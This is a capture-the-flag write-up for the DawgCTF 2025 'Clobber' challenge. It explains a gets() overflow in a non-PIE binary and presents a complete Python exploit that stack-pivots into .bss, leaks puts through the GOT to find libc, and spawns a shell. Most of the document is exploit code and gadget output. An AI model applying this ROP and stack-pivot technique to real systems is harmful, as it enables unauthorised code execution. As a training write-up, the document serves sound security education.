[WRITE UP] - DawgCTF 2025 - Clobber

index

Reverse Engineering

Yes, as the description of this post, this challenge is a pure stack pivot challenge, but there will be a little bit of fun here.

1
[*] '/mnt/e/sec/CTFs/2025/DawgCTF/Clobber/clobber'
2
    Arch:       amd64-64-little
3
    RELRO:      Partial RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x3ff000)
7
    RUNPATH:    b'.'
8
    Stripped:   No

Check the checksec output of the binary, we can see that the binary is not compiled with PIE and NX is enabled. The stack is not protected by canary so we can easily overwrite the return address. The binary is not stripped so we can easily find the function names and offsets. The binary is compiled with Partial RELRO so we can use GOT to leak the address of the puts function.

And when we look at the binary, it’s pretty simple, it just has only a main function:

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  char s[32]; // [rsp+0h] [rbp-20h] BYREF
4

5
  setvbuf(_bss_start, 0LL, 2, 0LL);
6
  setvbuf(stderr, 0LL, 2, 0LL);
7
  gets(s);
8
  puts(s);
9
  return 0;
10
}

The binary will read the input from the user and then print it out. The gets function is used to read the input, which is dangerous because it does not check the length of the input, so we can easily overflow the buffer and overwrite the return address. BUT, one problem here is that we don’t have win function, so we need to find a way to leak libc base so that we can craft a system ROP to drop the shell. Check the gadgets of the binary to see if there is some useful gadgets that we can use to leak the libc base.


12 collapsed lines
1
╭─ Night • alter in /mnt/e/sec/CTFs/2025/DawgCTF/Clobber
2
╰─ ◉  rop clobber
3
[INFO] Load gadgets from cache
4
[LOAD] loading... 100%
5
[LOAD] removing double gadgets... 100%
6

7

8

9
Gadgets
10
=======
11

12

13
0x00000000004010ac: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f23]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
14
0x000000000040111e: adc dword ptr [rax], edi; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;
15
0x00000000004010b0: adc eax, 0x2f23; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
16
0x00000000004010dc: adc edi, dword ptr [rax]; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;
17
0x000000000040114c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;
18
0x00000000004010b4: add ah, dh; nop word ptr cs:[rax + rax]; endbr64; ret;
19
0x00000000004010ae: add bh, bh; adc eax, 0x2f23; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
20
0x000000000040100e: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
21
0x00000000004010de: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;
22
0x0000000000401120: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;
23
0x00000000004010bc: add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret;
24
0x00000000004011dc: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
25
0x0000000000401056: add byte ptr [rax], al; add cl, ch; ret 0xffff;
26
0x00000000004011dd: add byte ptr [rax], al; add cl, cl; ret;
27
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x2016; call rax;
28
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x2016; call rax; add rsp, 8; ret;
29
0x00000000004010e0: add byte ptr [rax], al; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;
30
0x0000000000401122: add byte ptr [rax], al; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;
31
0x00000000004011e2: add byte ptr [rax], al; endbr64; sub rsp, 8; add rsp, 8; ret;
32
0x00000000004010be: add byte ptr [rax], al; endbr64; ret;
33
0x00000000004010b3: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
34
0x00000000004011de: add byte ptr [rax], al; leave; ret;
35
0x000000000040115b: add byte ptr [rcx], al; pop rbp; ret;
36
0x0000000000401058: add cl, ch; ret 0xffff;
37
0x00000000004011df: add cl, cl; ret;
38
0x00000000004010ad: add dil, dil; adc eax, 0x2f23; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
39
0x000000000040100a: add eax, 0x2fd1; test rax, rax; je 0x2016; call rax;
40
0x0000000000401017: add esp, 8; ret;
41
0x0000000000401016: add rsp, 8; ret;
42
0x00000000004010b1: and ebp, dword ptr [rdi]; add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
43
0x00000000004011d6: call 0x2060; mov eax, 0; leave; ret;
44
0x0000000000401151: call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;
45
0x00000000004010af: call qword ptr [rip + 0x2f23]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
46
0x0000000000401014: call rax;
47
0x0000000000401014: call rax; add rsp, 8; ret;
48
0x0000000000401006: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fd1; test rax, rax; je 0x2016; call rax;
49
0x0000000000401012: je 0x2016; call rax;
50
0x0000000000401012: je 0x2016; call rax; add rsp, 8; ret;
51
0x00000000004010db: je 0x20f0; mov eax, 0; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;
52
0x00000000004010e5: je 0x20f0; mov edi, 0x404028; jmp rax;
53
0x000000000040111d: je 0x2130; mov eax, 0; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;
54
0x0000000000401127: je 0x2130; mov edi, 0x404028; jmp rax;
55
0x000000000040103d: jmp qword ptr [rsi - 0x70];
56
0x00000000004010ec: jmp rax;
57
0x00000000004011d0: lea eax, [rbp - 0x20]; mov rdi, rax; call 0x2060; mov eax, 0; leave; ret;
58
0x00000000004011cf: lea rax, [rbp - 0x20]; mov rdi, rax; call 0x2060; mov eax, 0; leave; ret;
59
0x0000000000401156: mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;
60
0x00000000004010dd: mov eax, 0; test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;
61
0x000000000040111f: mov eax, 0; test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;
62
0x00000000004011db: mov eax, 0; leave; ret;
63
0x0000000000401009: mov eax, dword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;
64
0x000000000040114f: mov ebp, esp; call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;
65
0x00000000004010e7: mov edi, 0x404028; jmp rax;
66
0x00000000004011d4: mov edi, eax; call 0x2060; mov eax, 0; leave; ret;
67
0x0000000000401008: mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;
68
0x000000000040114e: mov rbp, rsp; call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;
69
0x00000000004011d3: mov rdi, rax; call 0x2060; mov eax, 0; leave; ret;
70
0x00000000004011cb: movabs eax, dword ptr [0x48e0458d48fffffe]; mov edi, eax; call 0x2060; mov eax, 0; leave; ret;
71
0x00000000004010b8: nop dword ptr [rax + rax]; endbr64; ret;
72
0x00000000004010b7: nop dword ptr cs:[rax + rax]; endbr64; ret;
73
0x00000000004010b6: nop word ptr cs:[rax + rax]; endbr64; ret;
74
0x0000000000401007: or byte ptr [rax - 0x75], cl; add eax, 0x2fd1; test rax, rax; je 0x2016; call rax;
75
0x00000000004010e6: or dword ptr [rdi + 0x404028], edi; jmp rax;
76
0x000000000040115d: pop rbp; ret;
77
0x000000000040114d: push rbp; mov rbp, rsp; call 0x20d0; mov byte ptr [rip + 0x2f0b], 1; pop rbp; ret;
78
0x00000000004011ba: ret 0xfffe;
79
0x000000000040105a: ret 0xffff;
80
0x0000000000401011: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
81
0x000000000040100b: shr dword ptr [rdi], 1; add byte ptr [rax], al; test rax, rax; je 0x2016; call rax;
82
0x00000000004011e9: sub esp, 8; add rsp, 8; ret;
83
0x0000000000401005: sub esp, 8; mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;
84
0x00000000004011e8: sub rsp, 8; add rsp, 8; ret;
85
0x0000000000401004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;
86
0x00000000004010ba: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret;
87
0x0000000000401010: test eax, eax; je 0x2016; call rax;
88
0x0000000000401010: test eax, eax; je 0x2016; call rax; add rsp, 8; ret;
89
0x00000000004010e3: test eax, eax; je 0x20f0; mov edi, 0x404028; jmp rax;
90
0x0000000000401125: test eax, eax; je 0x2130; mov edi, 0x404028; jmp rax;
91
0x000000000040100f: test rax, rax; je 0x2016; call rax;
92
0x000000000040100f: test rax, rax; je 0x2016; call rax; add rsp, 8; ret;
93
0x00000000004010e2: test rax, rax; je 0x20f0; mov edi, 0x404028; jmp rax;
94
0x0000000000401124: test rax, rax; je 0x2130; mov edi, 0x404028; jmp rax;
95
0x00000000004011e7: cli; sub rsp, 8; add rsp, 8; ret;
96
0x0000000000401003: cli; sub rsp, 8; mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;
97
0x00000000004010c3: cli; ret;
98
0x00000000004011e4: endbr64; sub rsp, 8; add rsp, 8; ret;
99
0x0000000000401000: endbr64; sub rsp, 8; mov rax, qword ptr [rip + 0x2fd1]; test rax, rax; je 0x2016; call rax;
100
0x00000000004010c0: endbr64; ret;
101
0x00000000004010b5: hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
102
0x00000000004011e0: leave; ret;
103
0x00000000004010ef: nop; ret;
104
0x000000000040101a: ret;
105

106
92 gadgets found

Nice nice, 92 gadgets found, and there are no pop rdi gadget for us to control the first argument of the puts function. But fortunately, the binary is no PIE which mean the address is fixed, and we can leverage this to use the gadgets in main function:

1
.text:00000000004011BE                 lea     rax, [rbp+s]
2
.text:00000000004011C2                 mov     rdi, rax
3
.text:00000000004011C5                 mov     eax, 0
4
.text:00000000004011CA                 call    _gets
5

6
.text:00000000004011CF                 lea     rax, [rbp+s]
7
.text:00000000004011D3                 mov     rdi, rax        ; s
8
.text:00000000004011D6                 call    _puts

There are two gadgets that we can use to leak the address. So our plan now is using Stack Pivot to control the rbp and then write the address of puts to the s buffer, and then we can use the puts gadget to leak the address of puts and then calculate the base address of libc. After that, we can use the system function to drop a shell.

Exploit Development

Alright, the idea is clear, now let’s start to write the exploit. First of all, we need to find the offset to rbp and one rw- memory address. And then start to write a pivot payload

1
    offset = 0x20
2
    bss = 0x404400
3
    gets_gadget = 0x4011BE
4
    puts_gadget = 0x4011CF
5
    leave_ret = 0x4011E0
6

7
    payload1 = flat({
8

9
        offset: [
10

11
            bss - 0x10,         # saved rbp 1
12
            gets_gadget         # saved rip 1
13
        ]
14

15
    }, filler=b'A')
16

17
    input("Pivot payload")
18
    sl(payload1)

Our next payload will be write to 0x404000. But we can’t put put@GOT here right away because if we do, after returning it will fall back to puts@GOT + 0x8 and now we don’t have any data there. So what we need to do next is write data there so that it can return later. And here’s the problem. The size we can write in a very small area

1
pwndbg> x/10xg 0x404010
2
0x404010 <setvbuf@got.plt>: 0x00000000000401050 0x00000000000000000
3
0x404020: 0x00000000000000000 0x0000000000000000
4
0x404030: 0x00000000000000000 0x0000000000000000
5
0x404040 <stdout@GLIBC_2.2.5>: 0x00007ffff7fb95c0 0x0000000000000000
6
0x404050: 0x0000000000000000 0x00000000000000000

And we have to write so that the value of the fd is not changed. You can refer to my payload 2, 3, to know how I solved this problem

1
    # 0x404400
2
    payload2 = flat({
3

4
        offset: [
5

6
            exe.got.setvbuf + 0x20,     # saved rbp 2
7
            gets_gadget,                # saved rip 2
8

9
            exe.got.puts + 0x20,
10
            puts_gadget,
11

12
            cyclic(0x10),
13

14
            bss + 0x30 + 0x20,
15
            gets_gadget,
16

17
        ]
18

19
    }, filler=b'B')
20

21
    input("Payload 2")
22
    sl(payload2)
23

24
    payload3 = b'C' * 0x10
25
    payload3 += p64(bss + 0x20) + p64(leave_ret)
26
    payload3 += p64(bss) + p32(leave_ret)
27

28
    input("Payload 3")
29
    sl(payload3)

We can see I used 2 leave; ret; gadgets to specify the exact location it returns to, all I did was point it to exactly what I needed. And so we can leak libc base easily, from there we can drop shell. Here is my full exploit:


37 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./clobber_patched', checksec=False)
10
libc = exe.libc
11

12
def start(argv=[], *a, **kw):
13
    if args.GDB:
14
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
15
    elif args.REMOTE:
16
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
17
    elif args.DOCKER:
18
        p = remote("localhost", 5000)
19
        sleep(1)
20
        pid = int(check_output(["pidof", "-s", "/app/run"]))
21
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28
init-pwndbg
29

30
# b *0x4011E0
31
b *0x4011E1
32

33
c
34
'''
35

36
p = start()
37

38
# ==================== EXPLOIT ====================
39

40
def exploit():
41

42
    offset = 0x20
43
    bss = 0x404400
44
    gets_gadget = 0x4011BE
45
    puts_gadget = 0x4011CF
46
    leave_ret = 0x4011E0
47
    # stdout = 0x404040
48

49
    payload1 = flat({
50

51
        offset: [
52

53
            bss - 0x10,         # saved rbp 1
54
            gets_gadget         # saved rip 1
55
        ]
56

57
    }, filler=b'A')
58

59
    input("Pivot payload")
60
    sl(payload1)
61

62
    # 0x404400
63
    payload2 = flat({
64

65
        offset: [
66

67
            exe.got.setvbuf + 0x20,     # saved rbp 2
68
            gets_gadget,                # saved rip 2
69

70
            exe.got.puts + 0x20,
71
            puts_gadget,
72

73
            cyclic(0x10),
74

75
            bss + 0x30 + 0x20,
76
            gets_gadget,
77

78
        ]
79

80
    }, filler=b'B')
81

82
    input("Payload 2")
83
    sl(payload2)
84

85
    payload3 = b'C' * 0x10
86
    payload3 += p64(bss + 0x20) + p64(leave_ret)
87
    payload3 += p64(bss) + p32(leave_ret)
88

89
    input("Payload 3")
90
    sl(payload3)
91

92
    rls(3)
93

94
    puts = fixleak(rl()[:-1])
95
    libc.address = puts - libc.sym.puts
96
    info('puts @ %#x', puts)
97
    success('libc base @ %#x', libc.address)
98

99
    input("Drop shell")
100
    payload4 = system(offset + 0x8)
101
    sl(payload4)
102

103
    interactive()
104

105
if __name__ == '__main__':
106
    exploit()

P/s: system() is my custom function you can craft a ROP chain manually to drop shell.